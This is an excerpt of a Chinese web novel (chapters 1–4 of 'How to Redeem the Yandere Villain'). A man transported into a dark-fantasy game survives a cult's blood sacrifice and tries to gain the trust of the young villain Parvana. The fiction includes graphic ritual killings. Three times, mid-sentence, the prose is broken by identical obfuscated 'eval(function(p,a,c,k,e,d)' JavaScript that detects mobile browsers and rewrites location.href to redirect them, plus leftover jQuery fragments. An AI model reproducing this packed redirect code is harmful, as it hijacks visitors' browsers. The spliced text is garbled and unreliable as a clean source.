《如何救赎病娇反派》 1. 密苑钟声(一) 万物皆有裂隙,父神以光修葺。 ——《拂晓启示录》 ** “当——” 钟声响起时,周祈从黑暗中惊醒,阴冷和恐怖的气息顷刻间将他包围,身上好像有无数条虫虱在爬动,他汗毛倒立,头痛欲裂。 这是哪? 他下意识抬手,想揉一揉胀痛的额头,却发现自己的双手正被一副黑色的铁制镣铐牢牢禁锢着。 “人数清点过了吗?” “嗯哼,17个,不多不少。” “怎么样,这次还要打赌吗?赌这几只羊羔里有几个能活下来。” “赌呗,10弗洛金,我还押前几次那个数字,0个!” 弗洛金? 好耳熟的名称…… 周祈强忍着不适,扶着湿滑的墙壁直起上半身,墙壁的触感崎岖不平,像是未经开凿的山石。 他努力适应着阴暗的环境,朝光源和声音传来的方向看过去,视线越过眼前的铁栏杆,两个高瘦的男人站在壁灯之下交谈着。 两人身上穿着形制奇特的黑色长袍,肩膀处设计了立领披肩,腰带垂下,衣摆长至脚踝处,看起来像是某种神职人员的制服。 除此之外,他们的腰侧还分别挂着一柄复古的短剑。 这是哪里,这两个穿得像戏剧演员的人又是谁?这是什么新型的恶作剧吗? 周祈有些搞不清楚情况,他记得自己明明和往常一样在家里睡觉,怎么一觉醒来,周围的一切就都变了模样? 他用力掐了一下自己的掌心,痛感向他传达这一切都不是梦的事实。 “你说,这差事什么时候能结束?我想念兰蒂尼恩,水风车街那家啤酒馆的精酿,还有摇摆舞厅的妞。” “我看你真是在地下呆久了,你忘记兰蒂尼恩去年已经开始施行禁酒令了吗?” 阴影中传出一声嗤笑,随即又变为感叹,“不过我估计我们很快就能回去了,地下的那东西就要发芽了,这17只羊羔是最后的祭品。” 祭品? 这个诡异的单词让周祈心中一惊,生出一种不好的预感。 兰蒂尼恩、禁酒令…… 他对这两个陌生的字眼有种莫名熟悉感,但一时想不起来在哪里听到过。 周祈环顾牢房的四周,角落里还瑟缩着数名和他一样被镣铐束缚手脚的“囚犯”。 这些人中有男有女,年轻的、年长的,周祈注意到他们中有一个长相略显奇特的少年,他的皮肤微微发红,颧骨两侧的皮肤上长着像鳞片一样事物。 他们眼中都挂着如出一辙的绝望,真的像那两个守卫所说那般,如同几只待宰的羊羔。 趁两个守卫交谈得愈发激烈,周祈悄悄向外挪动身体,伸手握住铁栏杆,试探着晃动两下。 “没有用的。”角落里抱膝而坐的女孩出声提醒他,“你不可能逃出去的。” 周祈回过头,借着微弱的光晕看清女孩脸上的麻木,“进到这里的人都是被亲人、被世界抛弃的边缘人,现在这间牢房里有本该被执行枪决的死刑犯,有被酗酒的父亲以两张钞票卖到这里的赔钱货,还有像你这样的,莫名其妙出现,没有任何人认识的倒霉蛋。” 她一边说着,脸上的表情由木然转为带着嘲讽意味的轻笑。 周祈的关注点在她最后的那句话上,他不明白女孩话中的“莫名其妙出现”是什么意思,便开口问她,“你认识我吗?” “算是吧。”女孩点头,“就在我们被押送到这里的路上,你突然出现在路边,还昏迷着,正好有个想不开的从车上跳下来摔死了,他们就把你绑过来凑数。” 周祈现在明白女孩为什么把自己称为“倒霉蛋”了…… “…这里是什么地方?” “我不知道。”她发出一连串古怪的笑声,“我只知道我们马上就要死了,一个都活不了。” 两人交谈之时,牢房外传来一连串沉闷的脚步声,另一个穿着黑色长袍的男人出现在门外,打断守卫们的闲聊。 “蒂尔神父让我来带两个人去帕尔瓦娜修女那里。” 帕尔瓦娜? 周祈的心脏没来由得猛颤两下。 “好。” 其中一名守卫朝牢房的方向走来,他阴森的视线扫过每一名囚犯,最后落到了离铁栏最近的周祈脸上。 “刚刚就听到你们两个聚在一起闲扯,死到临头了还有那么多话要说,不如去地狱的路上也互相做个伴吧。” 他狞笑着打开牢门,动作粗暴地扯着女孩的长发,将她拖了出来。 等守卫重新进入牢房,准备将周祈也像方才那样牵羊般带出去时,他已经从地上站起,自行走出监牢。 “不错嘛。”守卫看着眼前这名对自己颇为顺从的黑发青年,皮笑肉不笑的夸赞了一句,“挺识时务的。” 周祈低下头,装作不敢直视他的模样。 守卫将两人从昏暗潮湿的房间中带出,沿着一条漆黑的长廊向正前方走去。 走道上没有灯,只有守卫手中的手电筒向外散发出微弱的光晕,周祈借着这点光观察着四周的环境。 走道的墙壁上贴满了米黄色的墙纸,地面铺着类似大理石材质的石板,空气中弥漫着潮湿的臭味,像是湿地毯在背光处放了好几天的味道,单调的黄色一眼望不到尽头,给他一种进入“后室”的错觉。 沿着地道走了不知道多久后,他脚下一空,原先的石板路到达尽头,他抬起头,正前方出现一个散发着微弱荧光的洞口。 守卫牵着他们镣铐上的铁链,带他们进入洞穴之中。 这是一片还算开阔的空间,四周的墙壁上挂着燃烧的火把,洞穴正中央立着一个由花岗岩堆砌而成的正方形台子,周祈仔细分辨,认为那个台子极有可能是一座祭坛。 祭坛、祭品…… 所以他现在是被一群.邪.教.徒绑架了吗? 还没来得及思考太多,他的注意力已经被祭坛旁一道瘦削的身影吸引。 那人身上穿着一条长及脚踝处的黑色裙子,领口和裙摆没有任何装饰,唯有胸前的紫色宝石项链折射着璀璨又妖异的光芒。 视线上移,周祈看到女孩留着一头浓密的黑色长卷发,几乎与头上佩戴的黑纱融为一体,厚重的刘海将她的额头遮挡完全,却衬得她眉毛之下那双翡翠般的绿色眼眸更加明亮。 他盯着少女那张惊艳到几乎无法用语言形容的脸,思绪在一瞬间凝结成冰。 他的震惊不是因为女孩的相貌,而是因为他认识这个女孩! 帕尔瓦娜,“腐败魔女”帕尔瓦娜! 周祈猛地回想起许多被他忽视的东西,弗洛金、禁酒令、兰蒂尼恩,这些名词,以及现在出现在他眼前的黑裙少女,他们都来自同一个地方——一款名叫《 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418455|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无光密界》的游戏。 游戏,游戏里的东西出现了。 他的大脑乱作一团浆糊,却又奇妙地梳理成一条简洁明了的信息: 他,周祈,好像是穿进了游戏世界里。 就在他身心俱震之时,守卫已经将先前那名女囚犯押上祭坛,并强迫她跪倒在冰凉的花岗岩上。 “开始吧。” 发号施令的是一名银白色头发的中年男人,他站在祭坛下方,身上穿着更加繁复的长袍,双臂环抱在胸前,散发着从容不迫的气度。 这个人应该就是守卫口中的“蒂尔神父”了。 周祈强迫自己冷静下来,试图收集一些对自己的处境有利的信息。 随着蒂尔神父一声令下,两名修道士打扮的男子走上祭坛,一个负责钳制住女囚犯的身体,阻止她反抗,另一个则拔出腰侧佩戴的短剑,刀刃出鞘,反射出一丝刺眼的光亮。 觉察到死亡的危机向自己逼近,女囚犯开始挣扎,她,用尽全力想要挣脱身后那人的禁锢,捆缚双手的铁链哗啦啦作响。 但就像她自己说的那样,这一切都只是徒劳,传道士手起刀落,女囚犯的腹部出现一道整齐的切口,猩红粘稠的血液从伤口中喷涌而出。 伴随着凄厉的惨叫声在洞穴中回荡,周祈嗅到一股浓重的血臭味,他喉咙发紧,胃部抽动几下,几乎要呕吐出来。 传道士用长袍的衣摆擦干净短剑上的血,将刀收回刀鞘,随后又从同伴手中接过一方镶嵌着各色宝石的银色匣子,从中取出一只通体金黄、外形类似蚕蛹的东西。 他捏着那像蠕虫一样的事物,将它塞入女囚犯腹部的伤口中。 金黄色的“发光蠕虫”嗅见鲜血的味道,像是被激活了某种特定程序,顺着传道士的手掌钻入女囚犯的腹腔中。 接触到血肉的顷刻间,蠕虫的头部伸出两个长条型状的物体,类似昆虫的口器,挥舞着、快速向前蠕动,似乎在咀嚼啃噬着什么东西。 那是什么玩意儿? 周祈头皮发麻,第一次恨自己的视力为什么这么好。 女囚犯的目光开始逐渐变得呆滞,这种呆滞与她先前因绝望而产生的木然不同,更像是因为失去自我意识后产生的空洞。 周祈记得自己曾经在患有阿兹海默症的患者身上见到过这样的神情。 那只蠕虫究竟啃食掉了她身体里的什么,才会让她变成这样? 黄金虫子不再蠕动,名叫蒂尔的神父再次发号施令,“修女,把书拿给她看。” 已经被周祈确认为是“帕尔瓦娜”的少女捧着一本封面陈旧的书走上祭坛,在女囚犯眼前摊开书页。 女囚犯已经被黄金虫子吞噬掉了“意识”,眼球都不曾挪动一下。 “没用的废物!”蒂尔神父低声咒骂了一句,朝祭台上的传道士摆了摆手,“杀了吧。” 他的语气是那么的自然,就像是碾死一只虫子一样轻松随意。 传道士接到指令,再次挥刀,割断女囚犯的喉管,她斜着倒在祭台上,血液顺着脖颈流至祭坛表面,很快渗透进去。 周祈控制不住地看向女囚犯,她还睁着眼睛,两人的视线相接,十分钟前还在和周祈交流的女孩,就这样像只羔羊一般被人毫不留情地掠夺了生命。 但他根本无暇为女孩哀悼,就目前的情况来看,下一个面对这种命运的“祭品”正是他自己。 2. 密苑钟声(二) 直到女囚犯的血流干,传道士才把她的尸体从祭坛之上移开,顺便还回收了那只“吃饱喝足”的黄金蠕虫。 蠕虫在半空中晃动了两下,像是在和它的下一任“宿主”提前打招呼。 看着它正在发光的肥硕躯体,周祈的心几乎凉透了。 在这空闲的二十分钟时间里,他把自己能想到的所有可能都在脑海中推演了一遍,然后十分悲催地发现,除非他现在突然拥有类似“打个响指就让所有人灰飞烟灭”之类的超能力,不然他的结局就只有死在祭坛之上,流干鲜血这一种。 蒂尔神父恶魔般的低语声在洞穴中响起,“下一个。” 周祈猛地颤抖一下,全身的皮肤都不受控制的开始战栗。 守卫将他押上祭坛,站在女囚犯刚刚所站的位置,周祈也在此时感受到无边无际的、自心灵深处涌起的恐惧,他梗着脖子,双腿僵硬,不愿意跪下来。 修道士抬腿用力踹向他的膝盖,这人的力气大得吓人,几乎是将他硬生生踹翻在地。 恐惧让周祈冷汗直流,他试图平复自己的心情,却像窒息般喘不上气。 出于求生的本能,他的视线不受控制地望向在场所有人中唯一一个他认识的人。 卷发女孩站在祭坛下方,平静、木然地注视着一切的发生。 或许是祭坛上那人的目光太过炽热,女孩碧绿的眼珠移动了几下,隔着冷凝的空气与他对视,空洞的眼神中多了一些困惑。 她的无动于衷让周祈彻底绝望,虽然他原本就没抱什么希望,他认识帕尔瓦娜,但帕尔瓦娜不认识他,她没道理会出面救下一个陌生人。 传道士再次抽出短剑,剑刃的寒芒让周祈忍不住打了个激灵,在他还没有反应过来发生了什么时,传道士已经挥刀,斜着划开他整块腰腹。 他身上还穿着最喜欢的白色针织衫,衣物替他遮挡了喷溅出来的大部分血液,但架不住伤口太大,出血量太多,还是有一些血珠飞到周祈的脸上,糊住他的口鼻。 顷刻间,感官被浓重的血腥味淹没。 他从未受过如此严重的外伤,几乎疼到晕厥,连惨叫的力气都没有。 和二十分钟前一样,传道士拿出银色匣子,取出盛放在其中的黄金虫子,简单粗暴地将它塞进周祈腹部那道狰狞的伤口中。 完蛋了。 周祈绝望地闭上双眼,已经感受到腹中的蠕虫伸出它的“口器”。到了这个时候,他的心情反而莫名其妙地平静下来。 算了,死就死吧,死之前还能见到活生生的帕尔瓦娜,也算是值了。 他紧咬着牙,以一种“悲壮”的姿态迎接死亡。 但事情的发展并未像他预想的那般,蠕虫确实在他肚子里疯狂挥舞着口器,但它也仅仅是挥舞,并没有下一步的动作。 周祈脑海中无端冒出一个念头,自己身上似乎没有可供这只蠕虫怪物啃食的东西。 …… 好像是被嫌弃了…… 蠕虫迟迟无法锁定目标,最终,它收起前端的口器,形态开始发生变化。 它的表面结出一层铭刻着繁复花纹的黄金外壳,填满那道鲜血淋漓的伤口。 周祈先是感受到一阵刺骨的寒,随后急速升温,五脏六腑像被火灼了一样,他忍不住发出一声惨叫。 “...啊...!” 感官被无限放大,好像有一团烈火沿着他的血管和骨骼烧遍全身,整个人都要化了。 什么情况? 刚刚那名女囚犯不是死得很安详吗?怎么到我这里就不一样了? 周祈胡思乱想着,身体还在承受焚烧带来的折磨,火焰不断上行,并逐渐在他右眼之中凝聚,赤红的火团化作根根细密的红线,奋力向他的眼球里钻。 奇怪的是,随着火焰进入右眼,他并未感觉到任何不适,反而能觉察到身体上各种各样的痛感正在逐渐消退,似乎有某种力量正在右眼中积蓄。 混乱中,他低下头,腹部的伤口正在以肉眼可见的速度愈合,到最后只剩下一条斜长的伤疤。 那道伤疤闪着金黄色的光,蜿蜒在周祈方块格子一样的腹肌上,让他的腹部看起来像是用金粉修补过的瓷器,透着一股难以言说的美感。 赤红的火与他的右眼完全融合,周祈眼前出现层层叠叠的虚影,眼中所有的事物都覆上一层斑斓。 恍惚之间,他似乎听见一道悠长又高渺的叹息。 他甩了甩头,集中注意力看向自己的手掌,“叮”的一声之后,斑斓的重影脱离手掌的轮廓,在空气中扭曲变形,逐渐排列成一种眼熟的格式。 【通晓】 【一名25岁人类青年的右手。】 【平平无奇但温暖有力的手掌,或许它过于柔软了。】 这、这是什么? 周祈的心狂跳不止,他不清楚自己身上发生了何种异变,只知道他本应该和那个女囚犯一样被吞噬意识,但眼下的情况是,他没有被抹去意识,大脑仍在持续思考,甚至还通过黄金虫子和腹部伤口的结合而获得了某种特殊的能力。 蒂尔神父显然也发现了周祈和刚刚那名女囚犯表现出的不同,他眯起眼睛,预感到了什么。 “修女,快把书拿给他看。” 卷发少女收到指令,像一个没有自主思维的木偶一般,机械地走上祭坛,打开手里捧着的书,在周祈眼前摊开。 书页已经开始泛黄,判断不出具体年代,上面写满了密密麻麻的、用深蓝色墨水写就的陌生文字。 周祈看着那些完全不认识的文字,生出一种正在读天书的感觉。 方才那股奇异的感觉再次出现在右眼,书页上的文字浮现出层层斑斓的虚影,这些虚影逐渐脱离纸张本身,缓缓漂浮至半空中,抖动着、扭曲着,像是在酝酿着什么。 这是在……转译吗? 正这样想着,抖动着的虚影却像泡沫一般在空气中消散开来。 为什么会这样? 周祈尽量让自己的表情和神态不出现明显的变化,快速分析着虚影消散的原因。 他猜测这个名为【通晓】的能力会触发某种看不见的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418456|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 判定,第一次使用时判定成功,所以看到了有关他右手的“提示”,而第二次或许是因为某个属性点不足,导致“判定失败”。 他的心往下沉了许多。 如果自己没办法翻译出书页的内容,蒂尔神父一定会像杀死那名女囚犯一样杀了他。 果然,银白色头发的神父见他迟迟没有下一步动作,双眼中的期待逐渐转为失望,甚至是愤怒。 “我还以为这只祭品会和之前那些不一样,修女,杀了他吧。” 卷发少女听到神父的命令,怔愣片刻后才回过神来。 她绿色的眼瞳颤抖了两下,准备按照神父的指示了结眼前这个黑发青年的生命。 就在她缓缓合上书页之时,一双修长有力、指关节分明的手掌猛地抓住书的底部,黑发青年哆嗦着,快速翻动书页,嘴里发出梦呓一般的低语。 “在古老年代的某处秘境之中,住着两位双生的大秘术师……” 正要转身离去的蒂尔神父听见了这道低语,不由得一愣。 这是……? 他意识到了什么,立即转身,快步冲向祭坛,对周祈身后的传道士说,“放开他,让他念。” 肩膀处的禁锢消失,周祈翻动书页的动作越发激烈,连同手腕处的铁链一起哗哗作响。 “年长的秘术师偶然获得远古神祗的启示,得知世界上出现了一位‘被命运选定的神眷者’,吃掉神眷者的血肉便可取而代之,□□不朽,灵魂飞升。” 蒂尔神父面色凝重,洞穴中的其他人更是连大气都不敢出,专注地倾听着青年的低语。 “年长的秘术师将神启分享给了弟弟,要他去找出这个命定的神眷者,并把他带回来,兄弟二人再将其分食,一同飞升成神。” “年幼的秘术师向兄长询问,‘哥哥,我们要如何才能杀死一个被命运眷顾的人’,年长的秘术师回答他,‘很简单,只需要……’” 蒂尔神父屏住呼吸,但黑发青年却不再开口,他用双手捂着额头,双眼紧闭,“好疼…头好疼……” 神父从卷发女孩手中抢过那本书,递到黑发青年的脸上,抓住他的衣领,表情狰狞着,“念!给我继续往下念!” 周祈不理他,仍旧抱着头,闭着眼,满脸痛苦地呓语着。 开什么玩笑,我把故事都讲完了,你不就又要杀我了? 见青年死活不肯睁开眼继续往下念,神父咒骂了一声,松开他的领口。 普通人阅读此类蕴藏着隐秘的书籍确实会出现理智崩溃的迹象,看着不像是装出来的。 他浑浊的眼珠上下移动,打量着穿着古怪的黑发青年。 这个人刚刚所念的某一部分内容确实和他知晓的某个秘辛契合在一起,看来暂时还不能杀他。 “把他带回去……不对,”神父摆手,“把他单独关在一个房间里,等他恢复正常之后就让他继续念书。” 他的眼神在洞穴中的几人身上飘过,最终落在唯一的一名女孩脸上。 “帕尔瓦娜修女,就由你来负责看守他。” 3. 密苑钟声(三) 传道士把周祈关进一间没有窗户的房间里。 确认他们离开并走远之后,周祈睁开眼睛,下意识观察四周的环境。 这里是一间书房,空间狭窄,除了一张正对着房间门摆放的红木书桌外,就只有一排嵌进墙面的书架。 书架的规格并不大,上面摆放的书可能都不到五十本。 让周祈惊讶的是,房间主人收纳书籍的习惯和他十分相似,都是按照书脊的颜色区分,以暖色调开始,从上到下摆放。 周祈坐在地板上,有些茫然地眨了眨眼,直到此刻,他仍有一种身在梦中的不真实感,“穿越”这种匪夷所思的事竟然会发生在他身上。 如果真如他猜想的那般,这里是《无光密界》的游戏世界,那他现在的处境可以说是岌岌可危。 游戏的世界观混乱又疯狂,一种名为“秘术师”的群体藏匿在城市看似平静的各个角落之中,他们掌握着不为人知的超凡力量,而除了一部分被官方承认并接纳的组织或势力,游戏中还存在大量的密教团体,也就是所谓的“邪.教.”。 回想起方才那段骇人的经历,周祈可以肯定,这些绑架自己的神父和传道士正是来自某个秘密教团的邪恶秘术师。 不同的密教团体拥有不同的信仰,但几乎每一个都残忍嗜杀,周祈心中升起强烈的不安感。 他可以通过编故事的方式暂时保住性命,但他不可能这样糊弄蒂尔神父一辈子,况且邪.教.徒往往性情多变,也许神父明天就会看他不顺眼,然后剥夺他的生命。 这种性命被被人捏在手中的感觉让周祈呼吸不畅,他必须想办法逃离这里,越快越好。 但,要怎么做才能从一群拥有超凡能力的秘术师手中逃脱? “要用魔法打败魔法啊……” 他一边自言自语,一边伸手摸向自己腹部那道金光闪闪的“伤疤”。 在游戏世界中,伤疤拥有非同寻常的含义,对秘术师来说,它相当于力量的源泉,同时也是身份的象征。 想到积蓄在右眼中的“火焰”,以及那个名为【通晓】的技能,周祈怀疑那只黄金蠕虫已经带给他成为秘术师的资格,只是他还不知道该如何使用这份力量。 就在周祈思考这个问题时,脑海中响起“铛”的一声,似乎又触发了某项技能的判定。 【灵光一现】 几个单词浮现在脑海中,紧接着,周祈听见他自己的声音。 【或许我该想办法搞清楚神父要求我阅读的那本书中记载的内容。】 他不可能听错,这绝对是他自己的声音,只是音色比他原本的沙哑了许多,听起来有点像……格格巫。 一种类似“预知”的能力吗? 周祈没有犹豫,当即决定按照【灵光一现】所提示的做。 他快步走至书桌前,蒂尔神父让他翻译的那本书果然在书桌上放着。 周祈再次翻开书页,【通晓】还是没有出现,他叹了口气,看来在没有获得足够的“属性点”之前,是没办法读懂这本书中的内容了。 按照游戏设定的六种不同维度的人物属性来看,他似乎需要更多的“灵性”。 周祈在书桌前的椅子上坐下,右手托着下巴,思考着怎么样快速提升自身的灵性。 在游戏中,提升灵性的方法大概分为三种,首先,灵性会随着秘术等阶的升级而提升,这是提升灵性最有效的方法。 第二种方法则是通过阅读包含隐秘知识的书籍、画作、音乐等诸如此类的事物来提升灵性。 除此之外,还可以布置相应的仪式,短时间内大幅提升灵性,但这种方法只是即时增益,并且需要消耗对应的材料,性价比并不高。 我现在不是正好在一间书房里吗? 周祈从椅子上站起,来到嵌入墙体的书架前,拿出第一排最左边的那本书,开始阅读其中的内容。 但结果却让他大失所望,这是一本狗血爱情小说,并且还是同性题材的狗血爱情小说。 书的内容大概是一个来自古老秘术家族、但家道中落的菜鸟秘术师,与王国最年轻的大秘术师,两人有婚约在身,但大秘术师早已心有所属,菜鸟秘术师原本打算将婚约作废,家族的仇人却在此时上门寻仇。 为了保护族人,菜鸟秘术师不得不寻求大秘术师的帮助,逼迫大秘术师完成婚约。 恰好,大秘术师的白月光身患重病,大秘术师便要求菜鸟秘术师用他的一个肾脏来做交易…… …… 不是,他都是大秘术师了,就不能给自己的情人造一个健康的肾脏出来吗…… 周祈默默腹诽着,书里的内容确实涉及秘术相关的领域,但对他灵性的提升并不明显,他阅读了十分钟,可能只提升了一指甲盖的灵性。 这样的速度太慢了,他没有那么多时间来慢慢提升。 周祈合上那本书,准备转换策略。 布置仪式临时提升灵性的方法显然是眼下最好的选择,他清晰地记得升灵仪式的流程和需要用到的材料,两根“灵烛”和任意种类的灵石。 灵烛和灵石都是最常见的秘术耗材,可新的问题出现了,他该去哪里搞这两样东西? 不知不觉中,周祈的视线落在房间中唯一的那扇木门上。他不知道外面的空间是什么样,但他清楚地知道有一个人正守在外面。 ——帕尔瓦娜,那个游戏中神秘的反派BOSS。 虽然不清楚大反派为什么会出现在一个看起来不太起眼的秘密教团中,但她确实是周祈目前遇到的唯一一个“熟人”。 而且,自己遇见的大反派要比游戏剧情中的那个稚嫩许多,看起来还像个未成年,似乎也没那么危险。 蒂尔神父指派帕尔瓦娜来看守他,如果能得到这位大反派的帮助,起码他会在行动上方便许多。 但问题是,他要怎么才能取得帕尔瓦娜的信任? 周祈用指关节敲了敲自己的额头,他对游戏里的大反派还算了解,知道她有一个感情深厚,曾经和她相依为命的兄长。 比较巧的是,那位和大反派没有血缘关系的“兄长”也是一名黑发黑眼的东方人。 也许可以在这一点上加以利用…… 周祈有了大概的想法,立刻就要去实践,他的时间真的很紧迫,没有过多纠结的条件,况且,蒂尔神父还需要他把故事讲完,听令行事的帕尔瓦娜无论如何也不会伤害他的生命。 只要不会因此丧命,对于周祈来说都有试一试的必要。 他来到门后,转动门把手,门没有上锁,他先是谨慎地拉开一条缝隙,门外一片漆黑,几乎什么都看不清。 黑暗的环境中什么声音都没有,甚至也没有人类应该有的呼吸声,这让周祈心生疑惑,难道帕尔瓦娜没有在这里? 他放轻脚步,向前走去,书房的灯光驱散了些许黑暗,周祈勉强分辨出门外是类似“起居室”的空间,房间中央摆放着一张小茶几,整套沙发,以及白色的地毯。 沙发正对的方向靠墙砌了壁炉,壁炉内部黑漆漆一片,仍能看出昔日燃烧过的痕迹。 他看到另一扇门,以及门边的壁灯,黑暗让周围的一切都显得那么惊悚,周祈没有看到女孩的身影,便想走到门边把灯打开。 刚走过沙发的区域,周祈突然感受到一道阴冷的视线落在后背,就好像有人对着他的后颈吐了一口冷凝的雾气。 全身的汗毛都在顷刻之间耸立起来,他打了个激灵,心跳不受控制地急速跳动起来。 他下意识地想要回头,转身的一瞬间,一只冰凉的手掌猛地钳住他的咽喉,在他还没反应过来发生了什么时,后脑勺已经狠狠砸在身后坚实的墙面上。 强烈的撞击让他颅内震荡,头晕目眩,有那么几秒钟,他看不见任何东西,世界仿佛只剩下尖锐的耳鸣声。 周祈努力睁开眼睛,袭击他的人逆光而立,他看不太清那人的脸,只是从泛着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418457|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光晕的轮廓判断出她的身份。 是帕尔瓦娜。 她,她刚才在哪里?为什么会突然出现我身后。 还没来得及想太多,那只像尸体一样毫无温度的手掌从脖子上移开,下一秒,周祈被一道刺眼的反光晃了下眼睛。 一个更加危险的物体贴上他的皮肤,那是一柄匕首。 心脏跳动得愈发急促,死亡的征兆逐渐在周祈脑海中显现。 匕首的刀刃十分锋利,仅仅是贴在脖子上就已经在那里划开一道血线,星星点点的血珠渗了出来,然而握刀之人的动作并未停止,她倾斜刀尖,好像下一秒就要真的刺穿他的喉管。 周祈几乎是立刻反应过来,他走向门口的动作让帕尔瓦娜误以为他要逃跑,而女孩现在无疑是要用刀处决擅自逃离的囚犯。 “不!”他焦急地喊了一声,“我不是要逃跑,我只是想把灯打开!” 抵在咽喉处的刀尖停止向前迫近,女孩碧绿的双眸直视着他,尽管光线昏暗,周祈还是能感受到女孩眼底的杀意未曾消散,她只是给了他一个解释的机会。 “真的,修女,请相信我。”他努力让自己语句流畅,“我从书房出来,也、也只是想,想看您一眼。” 女孩的睫毛微微颤动了两下,满是杀意的眼神中多了一丝别的情绪,似乎在为周祈的话感到困惑。 “因为…因为我从来没有见过这么、这么美丽的小姐……” 他将刚刚在书房就想好的话说了出来,但大反派好像并不吃这一套,她对周祈赞美的话语无动于衷,目光依旧冰冷。 “对不起,修女,我刚刚的话可能冒犯了您。但,但我其实想说,您让我想起了我的妹妹。” 他全身的肌肉都在用力,尽量让自己的声音和神情看起来更真诚一些。 “真的,她、她很早之前就永远地离开了我,我见到您的第一眼就想起了她,我想,如果她能健康长大,应该成为和您一样美丽、温柔的淑女。” 这番话半真半假,周祈确实有个妹妹,他妹妹也确实在很小的时候夭折,但他们全家都是中国人,高鼻梁深眼窝的帕尔瓦娜无论如何也不会像他妹妹。 他说这些只是为了创造一些认同效应,用两人相似的经历缩短彼此的心理距离,消除帕尔瓦娜对他的防范。 但现在看来,这一套招数对女孩来说并没有什么作用,她仍旧是那副漠然的神情,眼神中的杀意虽然消退了不少,却没有任何被触动的迹象。 看来我还是低估了大反派的“冷血”程度…… 周祈在心里宣告此次尝试完全失败,正想找个合适的借口溜回书房,他的肚子不合时宜地响了一声。 “呃……好吧,其实我是饿了,为了找吃的才出来的。”他贴着墙向一旁移动,远离那柄危险的匕首,“您就当我什么都没说,我这就回去。” ** 周祈逃命一样飞奔回了书房,他关上门,死里逃生的体验让他有一种近乎脱力的感觉。 不去了,再也不去了。 幼年体大反派没那么危险只是他的错觉。 周祈像认命了一样,手脚并用,回到书架下方,老老实实地重新开始阅读那些狗血男同爱情故事。 他看了大概一刻钟,正看到菜鸟秘术师的母亲被仇家欺辱致死,大秘术师却在郊外陪白月光打猎,菜鸟秘术师心灰意冷,准备离开王城之时,书房的木门突然传来一声轻响。 这道声响十分短促,几秒钟后周祈才后知后觉地反应过来,这似乎是敲门的声音。 他放下手中的书,走过去打开房门,但门外却空无一人。 周祈揉了揉自己的头发,正要关门之时,目光瞟见门口的地板上多了一样东西。 他停住关门的动作,将那东西从地上捡起。 那是一个白色的瓷盘,其中盛放着两块仍在散发热气的糕点,肉桂的香气扑面而来。 “这是……肉桂苹果派?” 4. 密苑钟声(四) 周祈看着盘子里还在散发热气的苹果派,呆滞地眨了两下眼睛。 帕尔瓦娜放在这里的? ……除了她,似乎也不会有别人知道自己饿了。 明明是为了开溜随意找的借口,女孩却真的给他送来了食物。 不知道为什么,这两块闻起来很香的肉桂苹果派给他带来了莫名其妙的慰藉,他竟诡异地被女孩的行为触动到。 所以,其实刚才的那番话还是有些作用? 周祈觉得自己需要趁热打铁,维护一下这簇信任的火苗,但他再也不敢随意踏出书房的范围,只能站在门口,试探性地开口,“修女…你,你在吗?” 回应他的是一声类似指关节敲击门框的响动,声音的来源就在身侧,周祈这才注意到原来帕尔瓦娜就倚靠在书房门所在的那面墙边,无声无息,简直要和四周的黑暗融为一体。 他被吓了一跳,心脏猛地收紧了一下,但表面上并没有表现出来,反而是挤出一抹不太明显的笑容,“这是您放在这里的吗?” 帕尔瓦娜依旧没有说话。 “是给我的吗?” 她又用食指敲了一下门框,似乎是用这个声音来表示肯定。 酷哦…… 周祈捧着盘子,上半身微微探出门外,让女孩可以看到他,“谢谢您,修女,您不仅美丽动人,心肠也是如此的善良,简直像天使一样。” 不知是这句话里的哪个字眼打动了女孩,她竟然转过头,与周祈对视。 绿色的双眼中飞速划过一道光亮,却还是被周祈捕捉到,他看得很清楚,那是一抹错愕。 因为我夸她像天使吗? 周祈在心里猜想着,游戏中关于帕尔瓦娜的资料和信息少得可怜,除了她和主角之间的终局之战外,几乎没有任何关于她的剧情。 周祈只知道她在游戏中的身份是名叫“黄金拂晓”的秘密教团的高层成员。 而黄金拂晓在异调局整理的净化序列中常年高居第一,可以说是所有官方组织的眼中钉。 作为出身这种地方的大反派,没有人夸过她心地善良也实属正常。 她仅仅是望了周祈一眼就重新看向别处,紧接着,周祈终于听到她开口说话。 “阅读。” 与大部分少女甜美柔和的嗓音不同,帕尔瓦娜的声音带着一种独特的磁性,像是凝结在树枝上的雾凇。 她只说了一个简短的单词,但周祈明白她想表达的意思,她送来苹果派,只是想让周祈吃了东西后赶快去看那本书,完成蒂尔神父交代下来的任务。 